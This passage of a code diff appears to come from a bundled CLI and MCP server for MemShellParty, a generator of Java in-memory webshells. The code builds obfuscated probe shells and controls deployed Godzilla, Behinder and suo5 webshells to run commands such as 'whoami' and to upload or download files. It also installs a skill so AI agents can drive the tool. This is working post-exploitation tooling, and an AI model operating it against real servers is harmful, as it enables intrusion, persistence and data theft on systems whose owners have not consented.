obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
4854
|
+
})
|
|
4855
|
+
);
|
|
4856
|
+
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
3977
4857
|
logOp({
|
|
3978
4858
|
category: "probe",
|
|
3979
4859
|
action: "probe",
|
|
@@ -3982,7 +4862,7 @@ function createMcpServer(client) {
|
|
|
3982
4862
|
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
3983
4863
|
meta
|
|
3984
4864
|
});
|
|
3985
|
-
return jsonContent(response);
|
|
4865
|
+
return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
|
|
3986
4866
|
} catch (err) {
|
|
3987
4867
|
logOp({
|
|
3988
4868
|
category: "probe",
|
|
@@ -4038,29 +4918,19 @@ function createMcpServer(client) {
|
|
|
4038
4918
|
key: args.key,
|
|
4039
4919
|
headerName: args.headerName,
|
|
4040
4920
|
headerValue: args.headerValue,
|
|
4041
|
-
insecure: args.insecure
|
|
4921
|
+
insecure: args.insecure,
|
|
4922
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4042
4923
|
});
|
|
4043
4924
|
const common = {
|
|
4044
4925
|
headerName: conn.headerName,
|
|
4045
4926
|
headerValue: conn.headerValue,
|
|
4046
4927
|
extraHeaders: conn.extraHeaders,
|
|
4047
4928
|
timeoutMs: args.timeoutMs,
|
|
4048
|
-
insecure: conn.insecure
|
|
4929
|
+
insecure: conn.insecure,
|
|
4930
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4049
4931
|
};
|
|
4050
|
-
|
|
4051
|
-
|
|
4052
|
-
case "godzilla":
|
|
4053
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
4054
|
-
break;
|
|
4055
|
-
case "behinder":
|
|
4056
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
4057
|
-
break;
|
|
4058
|
-
case "suo5":
|
|
4059
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
4060
|
-
break;
|
|
4061
|
-
default:
|
|
4062
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
4063
|
-
}
|
|
4932
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
4933
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
4064
4934
|
let savedAs;
|
|
4065
4935
|
if (result.ok && conn.targetName === void 0) {
|
|
4066
4936
|
savedAs = autoSaveShell(conn);
|
|
@@ -4099,32 +4969,20 @@ function createMcpServer(client) {
|
|
|
4099
4969
|
key: args.key,
|
|
4100
4970
|
headerName: args.headerName,
|
|
4101
4971
|
headerValue: args.headerValue,
|
|
4102
|
-
insecure: args.insecure
|
|
4972
|
+
insecure: args.insecure,
|
|
4973
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4103
4974
|
});
|
|
4104
4975
|
const common = {
|
|
4105
4976
|
headerName: conn.headerName,
|
|
4106
4977
|
headerValue: conn.headerValue,
|
|
4107
4978
|
extraHeaders: conn.extraHeaders,
|
|
4108
4979
|
timeoutMs: args.timeoutMs,
|
|
4109
|
-
insecure: conn.insecure
|
|
4980
|
+
insecure: conn.insecure,
|
|
4981
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4110
4982
|
};
|
|
4111
|
-
|
|
4112
|
-
|
|
4113
|
-
|
|
4114
|
-
result = await execGodzilla(
|
|
4115
|
-
conn.url,
|
|
4116
|
-
conn.pass ?? "pass",
|
|
4117
|
-
conn.key ?? "key",
|
|
4118
|
-
args.command,
|
|
4119
|
-
{ ...common, os: args.os }
|
|
4120
|
-
);
|
|
4121
|
-
break;
|
|
4122
|
-
case "behinder":
|
|
4123
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
4124
|
-
break;
|
|
4125
|
-
default:
|
|
4126
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4127
|
-
}
|
|
4983
|
+
const protocol = requireProtocol(conn.tool);
|
|
4984
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
4985
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
4128
4986
|
let savedAs;
|
|
4129
4987
|
if (result.ok && conn.targetName === void 0) {
|
|
4130
4988
|
savedAs = autoSaveShell(conn);
|
|
@@ -4166,38 +5024,24 @@ function createMcpServer(client) {
|
|
|
4166
5024
|
key: args.key,
|
|
4167
5025
|
headerName: args.headerName,
|
|
4168
5026
|
headerValue: args.headerValue,
|
|
4169
|
-
insecure: args.insecure
|
|
5027
|
+
insecure: args.insecure,
|
|
5028
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4170
5029
|
});
|
|
4171
5030
|
const common = {
|
|
4172
5031
|
headerName: conn.headerName,
|
|
4173
5032
|
headerValue: conn.headerValue,
|
|
4174
5033
|
extraHeaders: conn.extraHeaders,
|
|
4175
5034
|
timeoutMs: args.timeoutMs,
|
|
4176
|
-
insecure: conn.insecure
|
|
5035
|
+
insecure: conn.insecure,
|
|
5036
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4177
5037
|
};
|
|
4178
5038
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
4179
|
-
|
|
4180
|
-
|
|
4181
|
-
|
|
4182
|
-
|
|
4183
|
-
|
|
4184
|
-
|
|
4185
|
-
conn.key ?? "key",
|
|
4186
|
-
args.remotePath,
|
|
4187
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4188
|
-
);
|
|
4189
|
-
break;
|
|
4190
|
-
case "behinder":
|
|
4191
|
-
result = await downloadBehinder(
|
|
4192
|
-
conn.url,
|
|
4193
|
-
conn.pass ?? "rebeyond",
|
|
4194
|
-
args.remotePath,
|
|
4195
|
-
common
|
|
4196
|
-
);
|
|
4197
|
-
break;
|
|
4198
|
-
default:
|
|
4199
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4200
|
-
}
|
|
5039
|
+
const protocol = requireProtocol(conn.tool);
|
|
5040
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
5041
|
+
let result = await protocol.download(
|
|
5042
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5043
|
+
args.remotePath
|
|
5044
|
+
);
|
|
4201
5045
|
if (result.ok && result.data !== void 0) {
|
|
4202
5046
|
try {
|
|
4203
5047
|
writeFileSync5(localPath, result.data);
|
|
@@ -4249,40 +5093,25 @@ function createMcpServer(client) {
|
|
|
4249
5093
|
key: args.key,
|
|
4250
5094
|
headerName: args.headerName,
|
|
4251
5095
|
headerValue: args.headerValue,
|
|
4252
|
-
insecure: args.insecure
|
|
5096
|
+
insecure: args.insecure,
|
|
5097
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4253
5098
|
});
|
|
4254
5099
|
const common = {
|
|
4255
5100
|
headerName: conn.headerName,
|
|
4256
5101
|
headerValue: conn.headerValue,
|
|
4257
5102
|
extraHeaders: conn.extraHeaders,
|
|
4258
5103
|
timeoutMs: args.timeoutMs,
|
|
4259
|
-
insecure: conn.insecure
|
|
5104
|
+
insecure: conn.insecure,
|
|
5105
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4260
5106
|
};
|
|
4261
5107
|
const data = readUploadFile(args.localPath);
|
|
4262
|
-
|
|
4263
|
-
|
|
4264
|
-
|
|
4265
|
-
|
|
4266
|
-
|
|
4267
|
-
|
|
4268
|
-
|
|
4269
|
-
args.remotePath,
|
|
4270
|
-
data,
|
|
4271
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4272
|
-
);
|
|
4273
|
-
break;
|
|
4274
|
-
case "behinder":
|
|
4275
|
-
result = await uploadBehinder(
|
|
4276
|
-
conn.url,
|
|
4277
|
-
conn.pass ?? "rebeyond",
|
|
4278
|
-
args.remotePath,
|
|
4279
|
-
data,
|
|
4280
|
-
common
|
|
4281
|
-
);
|
|
4282
|
-
break;
|
|
4283
|
-
default:
|
|
4284
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4285
|
-
}
|
|
5108
|
+
const protocol = requireProtocol(conn.tool);
|
|
5109
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
5110
|
+
const result = await protocol.upload(
|
|
5111
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5112
|
+
args.remotePath,
|
|
5113
|
+
data
|
|
5114
|
+
);
|
|
4286
5115
|
let savedAs;
|
|
4287
5116
|
if (result.ok && conn.targetName === void 0) {
|
|
4288
5117
|
savedAs = autoSaveShell(conn);
|
|
@@ -4329,6 +5158,7 @@ function createMcpServer(client) {
|
|
|
4329
5158
|
headerName: args.headerName,
|
|
4330
5159
|
headerValue: args.headerValue,
|
|
4331
5160
|
insecure: args.insecure,
|
|
5161
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
4332
5162
|
remark: args.shellRemark
|
|
4333
5163
|
});
|
|
4334
5164
|
logOp({
|
|
@@ -4493,7 +5323,7 @@ function registerMcpCommand(program) {
|
|
|
4493
5323
|
}
|
|
4494
5324
|
|
|
4495
5325
|
// src/commands/parse-classname.ts
|
|
4496
|
-
import { readFileSync as
|
|
5326
|
+
import { readFileSync as readFileSync10 } from "fs";
|
|
4497
5327
|
function registerParseClassNameCommand(program) {
|
|
4498
5328
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
4499
5329
|
"after",
|
|
@@ -4506,7 +5336,7 @@ Examples:
|
|
|
4506
5336
|
).action(async (base64, opts, cmd) => {
|
|
4507
5337
|
let classBase64;
|
|
4508
5338
|
if (opts.file) {
|
|
4509
|
-
classBase64 =
|
|
5339
|
+
classBase64 = readFileSync10(opts.file).toString("base64");
|
|
4510
5340
|
} else if (base64) {
|
|
4511
5341
|
classBase64 = base64.trim();
|
|
4512
5342
|
} else {
|
|
@@ -4520,7 +5350,7 @@ Examples:
|
|
|
4520
5350
|
}
|
|
4521
5351
|
|
|
4522
5352
|
// src/commands/probe.ts
|
|
4523
|
-
import { Option as
|
|
5353
|
+
import { Option as Option6 } from "commander";
|
|
4524
5354
|
|
|
4525
5355
|
// src/wizard/probe-wizard.ts
|
|
4526
5356
|
import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
|
|
@@ -4528,26 +5358,40 @@ var JDK_CHOICES2 = [
|
|
|
4528
5358
|
{ name: "server default", value: "" },
|
|
4529
5359
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
|
|
4530
5360
|
];
|
|
4531
|
-
var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
|
|
4532
|
-
var PROBE_CONTENTS =
|
|
5361
|
+
var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
|
|
5362
|
+
var PROBE_CONTENTS = {
|
|
5363
|
+
ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5364
|
+
ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5365
|
+
DNSLog: ["Server", "JDK"],
|
|
5366
|
+
Sleep: ["Server"]
|
|
5367
|
+
};
|
|
4533
5368
|
async function runProbeWizard(client) {
|
|
4534
|
-
const [
|
|
4535
|
-
|
|
5369
|
+
const [packerTree, discoveredServers, config] = await Promise.all([
|
|
5370
|
+
client.getPackerTree(),
|
|
5371
|
+
client.getProbeResponseServers(),
|
|
5372
|
+
client.getConfig()
|
|
5373
|
+
]);
|
|
5374
|
+
const servers = discoveredServers.length ? discoveredServers : Object.keys(config);
|
|
4536
5375
|
const probeMethod = await select2({
|
|
4537
5376
|
message: "Probe method",
|
|
4538
5377
|
choices: PROBE_METHODS.map((m) => ({ name: m, value: m }))
|
|
4539
5378
|
});
|
|
4540
5379
|
const probeContent = await select2({
|
|
4541
5380
|
message: "Probe content",
|
|
4542
|
-
choices: PROBE_CONTENTS.map((
|
|
5381
|
+
choices: PROBE_CONTENTS[probeMethod].map((content) => ({
|
|
5382
|
+
name: content,
|
|
5383
|
+
value: content
|
|
5384
|
+
}))
|
|
4543
5385
|
});
|
|
4544
|
-
const
|
|
4545
|
-
message: "Packer",
|
|
4546
|
-
choices: packerTree.
|
|
4547
|
-
{ name: p.name, value: p.name },
|
|
4548
|
-
...p.children.map((c) => ({ name: ` ${c}`, value: c }))
|
|
4549
|
-
])
|
|
5386
|
+
const category = await select2({
|
|
5387
|
+
message: "Packer category",
|
|
5388
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
4550
5389
|
});
|
|
5390
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
5391
|
+
const packer = selected.children.length ? await select2({
|
|
5392
|
+
message: "Packer variant",
|
|
5393
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
5394
|
+
}) : category;
|
|
4551
5395
|
const opts = { probeMethod, probeContent, packer };
|
|
4552
5396
|
switch (probeMethod) {
|
|
4553
5397
|
case "DNSLog":
|
|
@@ -4561,15 +5405,19 @@ async function runProbeWizard(client) {
|
|
|
4561
5405
|
opts.seconds = Number(await input2({ message: "Seconds", default: "5" }));
|
|
4562
5406
|
break;
|
|
4563
5407
|
case "ResponseBody":
|
|
5408
|
+
case "ResponseHeader":
|
|
4564
5409
|
opts.server = await select2({
|
|
4565
5410
|
message: "Server",
|
|
4566
5411
|
choices: servers.map((s) => ({ name: s, value: s }))
|
|
4567
5412
|
});
|
|
4568
|
-
opts.reqParamName = await input2({ message: "Request param name", default: "cmd" });
|
|
5413
|
+
opts.reqParamName = await input2({ message: "Request param/header name", default: "cmd" });
|
|
4569
5414
|
opts.commandTemplate = await input2({
|
|
4570
5415
|
message: "Command template (optional, {command} placeholder)",
|
|
4571
5416
|
default: ""
|
|
4572
5417
|
});
|
|
5418
|
+
if (probeMethod === "ResponseHeader") {
|
|
5419
|
+
opts.respHeaderName = await input2({ message: "Response header name (optional)", default: "" });
|
|
5420
|
+
}
|
|
4573
5421
|
break;
|
|
4574
5422
|
default:
|
|
4575
5423
|
break;
|
|
@@ -4585,7 +5433,8 @@ async function runProbeWizard(client) {
|
|
|
4585
5433
|
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
4586
5434
|
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
4587
5435
|
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
4588
|
-
{ name: "debug", value: "debug" }
|
|
5436
|
+
{ name: "debug", value: "debug" },
|
|
5437
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
|
|
4589
5438
|
]
|
|
4590
5439
|
});
|
|
4591
5440
|
opts.shrink = toggles.includes("shrink");
|
|
@@ -4593,6 +5442,7 @@ async function runProbeWizard(client) {
|
|
|
4593
5442
|
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
4594
5443
|
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
4595
5444
|
opts.debug = toggles.includes("debug");
|
|
5445
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
4596
5446
|
const confirmed = await confirm2({ message: `Generate ${probeMethod} probe (${packer})?` });
|
|
4597
5447
|
if (!confirmed) throw new Error("Cancelled by user.");
|
|
4598
5448
|
return opts;
|
|
@@ -4610,6 +5460,8 @@ function toOptions2(o) {
|
|
|
4610
5460
|
byPassJavaModule: o.bypassModule,
|
|
4611
5461
|
shrink: o.shrink,
|
|
4612
5462
|
lambdaSuffix: o.lambdaSuffix,
|
|
5463
|
+
obfuscate: o.obfuscate,
|
|
5464
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
4613
5465
|
staticInitialize: o.staticInitialize,
|
|
4614
5466
|
shellClassName: o.shellClassName,
|
|
4615
5467
|
host: o.host,
|
|
@@ -4617,11 +5469,12 @@ function toOptions2(o) {
|
|
|
4617
5469
|
sleepServer: o.sleepServer,
|
|
4618
5470
|
server: o.server,
|
|
4619
5471
|
reqParamName: o.reqParamName,
|
|
4620
|
-
commandTemplate: o.commandTemplate
|
|
5472
|
+
commandTemplate: o.commandTemplate,
|
|
5473
|
+
respHeaderName: o.respHeaderName
|
|
4621
5474
|
};
|
|
4622
5475
|
}
|
|
4623
5476
|
function registerProbeCommand(program) {
|
|
4624
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content:
|
|
5477
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, ResponseHeader, DNSLog, Sleep").option("-c, --content <content>", "probe content: Server, JDK, Bytecode, Command, ScriptEngine, Filter").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody/ResponseHeader methods; use Unknown if unidentified)").option("--req-param-name <name>", "request param/header name (ResponseBody/ResponseHeader methods)").option("--resp-header-name <name>", "response header name (ResponseHeader method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option6("--decode", "base64-decode the payload before writing")).addOption(new Option6("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
4625
5478
|
"after",
|
|
4626
5479
|
`
|
|
4627
5480
|
Examples:
|
|
@@ -4631,6 +5484,7 @@ Examples:
|
|
|
4631
5484
|
$ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
|
|
4632
5485
|
$ memparty probe -m Sleep -c Server -p DefaultBase64 \\
|
|
4633
5486
|
--sleep-server Tomcat --seconds 5
|
|
5487
|
+
$ memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
|
|
4634
5488
|
|
|
4635
5489
|
Note: a probe is a detection shell that reports what the target supports.
|
|
4636
5490
|
The server name reported by '-c Server' is the value to pass as
|
|
@@ -4683,13 +5537,20 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
4683
5537
|
meta: probeMeta
|
|
4684
5538
|
});
|
|
4685
5539
|
if (opts.json) {
|
|
4686
|
-
|
|
5540
|
+
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
5541
|
+
const doc = outputFile === void 0 ? response : { ...response, outputFile };
|
|
5542
|
+
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
4687
5543
|
`);
|
|
4688
5544
|
return;
|
|
4689
5545
|
}
|
|
4690
5546
|
const r = response.probeShellResult;
|
|
4691
5547
|
logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
|
|
4692
|
-
if (
|
|
5548
|
+
if (hasMultiplePackResults(response)) {
|
|
5549
|
+
if (opts.output !== void 0) {
|
|
5550
|
+
throw new Error(
|
|
5551
|
+
`-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
5552
|
+
);
|
|
5553
|
+
}
|
|
4693
5554
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
4694
5555
|
logInfo(`
|
|
4695
5556
|
=== ${name} ===`);
|
|
@@ -4698,10 +5559,7 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
4698
5559
|
}
|
|
4699
5560
|
return;
|
|
4700
5561
|
}
|
|
4701
|
-
|
|
4702
|
-
throw new Error("Server returned no packResult.");
|
|
4703
|
-
}
|
|
4704
|
-
const result = emitPayload(response.packResult, {
|
|
5562
|
+
const result = emitSinglePackResult(response, {
|
|
4705
5563
|
outFile: opts.output,
|
|
4706
5564
|
decode: opts.decode
|
|
4707
5565
|
});
|
|
@@ -4794,7 +5652,7 @@ ${lines.join("\n")}
|
|
|
4794
5652
|
}
|
|
4795
5653
|
|
|
4796
5654
|
// src/commands/skill.ts
|
|
4797
|
-
import { Command as
|
|
5655
|
+
import { Command as Command8 } from "commander";
|
|
4798
5656
|
|
|
4799
5657
|
// src/core/skill-install.ts
|
|
4800
5658
|
import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
|
|
@@ -4838,7 +5696,7 @@ function installSkill(scopes, opts = {}) {
|
|
|
4838
5696
|
// src/commands/skill.ts
|
|
4839
5697
|
function registerSkillCommand(program) {
|
|
4840
5698
|
program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
|
|
4841
|
-
new
|
|
5699
|
+
new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
|
|
4842
5700
|
"after",
|
|
4843
5701
|
`
|
|
4844
5702
|
The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
|
|
@@ -4889,7 +5747,7 @@ Examples:
|
|
|
4889
5747
|
}
|
|
4890
5748
|
|
|
4891
5749
|
// src/commands/target.ts
|
|
4892
|
-
import { Option as
|
|
5750
|
+
import { Option as Option7 } from "commander";
|
|
4893
5751
|
function parseExtraHeaders3(lines) {
|
|
4894
5752
|
const headers = {};
|
|
4895
5753
|
for (const line of lines ?? []) {
|
|
@@ -4939,14 +5797,15 @@ function registerTargetCommand(program) {
|
|
|
4939
5797
|
program.command("save").description(
|
|
4940
5798
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
4941
5799
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
4942
|
-
new
|
|
4943
|
-
).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
5800
|
+
new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
|
|
5801
|
+
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
4944
5802
|
"after",
|
|
4945
5803
|
`
|
|
4946
5804
|
Examples:
|
|
4947
5805
|
$ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
|
|
4948
5806
|
-t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
|
|
4949
5807
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
5808
|
+
$ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
|
|
4950
5809
|
$ memparty list # show saved targets
|
|
4951
5810
|
$ memparty exec web1/bh9060 --cmd "whoami"
|
|
4952
5811
|
|
|
@@ -4964,7 +5823,10 @@ save is for choosing the name by hand.
|
|
|
4964
5823
|
return;
|
|
4965
5824
|
}
|
|
4966
5825
|
if (!opts.tool) {
|
|
4967
|
-
process.stderr.write(
|
|
5826
|
+
process.stderr.write(
|
|
5827
|
+
`Error: --tool is required (available: ${protocolNames().join(", ")})
|
|
5828
|
+
`
|
|
5829
|
+
);
|
|
4968
5830
|
process.exitCode = 1;
|
|
4969
5831
|
return;
|
|
4970
5832
|
}
|
|
@@ -4979,6 +5841,8 @@ save is for choosing the name by hand.
|
|
|
4979
5841
|
headerName: opts.headerName,
|
|
4980
5842
|
headerValue: opts.headerValue,
|
|
4981
5843
|
extraHeaders: parseExtraHeaders3(opts.header),
|
|
5844
|
+
profile: opts.profile,
|
|
5845
|
+
upgradeProtocol: opts.upgradeProtocol,
|
|
4982
5846
|
insecure: opts.insecure || void 0,
|
|
4983
5847
|
remark: opts.shellRemark
|
|
4984
5848
|
};
|
|
@@ -5086,7 +5950,7 @@ save is for choosing the name by hand.
|
|
|
5086
5950
|
|
|
5087
5951
|
// src/commands/transfer.ts
|
|
5088
5952
|
import { writeFileSync as writeFileSync6 } from "fs";
|
|
5089
|
-
import { Option as
|
|
5953
|
+
import { Option as Option8 } from "commander";
|
|
5090
5954
|
function parseExtraHeaders4(lines) {
|
|
5091
5955
|
const headers = {};
|
|
5092
5956
|
for (const line of lines ?? []) {
|
|
@@ -5109,7 +5973,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5109
5973
|
headerName: opts.headerName,
|
|
5110
5974
|
headerValue: opts.headerValue,
|
|
5111
5975
|
extraHeaders: parseExtraHeaders4(opts.header),
|
|
5112
|
-
insecure: opts.insecure
|
|
5976
|
+
insecure: opts.insecure,
|
|
5977
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
5113
5978
|
});
|
|
5114
5979
|
} catch (err) {
|
|
5115
5980
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -5123,7 +5988,8 @@ function resolveTransfer(name, opts, timeoutMs) {
|
|
|
5123
5988
|
headerValue: conn.headerValue,
|
|
5124
5989
|
extraHeaders: conn.extraHeaders,
|
|
5125
5990
|
timeoutMs,
|
|
5126
|
-
insecure: conn.insecure
|
|
5991
|
+
insecure: conn.insecure,
|
|
5992
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
5127
5993
|
}
|
|
5128
5994
|
};
|
|
5129
5995
|
}
|
|
@@ -5158,8 +6024,8 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
5158
6024
|
}
|
|
5159
6025
|
function registerDownloadCommand(program) {
|
|
5160
6026
|
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5161
|
-
new
|
|
5162
|
-
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6027
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
6028
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5163
6029
|
"--remote-charset <label>",
|
|
5164
6030
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5165
6031
|
).option(
|
|
@@ -5249,8 +6115,8 @@ is never overwritten unless --force is given.
|
|
|
5249
6115
|
}
|
|
5250
6116
|
function registerUploadCommand(program) {
|
|
5251
6117
|
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5252
|
-
new
|
|
5253
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
6118
|
+
new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
6119
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
|
|
5254
6120
|
"--remote-charset <label>",
|
|
5255
6121
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
5256
6122
|
).option(
|
|
@@ -5466,7 +6332,7 @@ async function startRepl(build) {
|
|
|
5466
6332
|
|
|
5467
6333
|
// src/cli.ts
|
|
5468
6334
|
function buildProgram() {
|
|
5469
|
-
const program = new
|
|
6335
|
+
const program = new Command12();
|
|
5470
6336
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
5471
6337
|
"--api <url>",
|
|
5472
6338
|
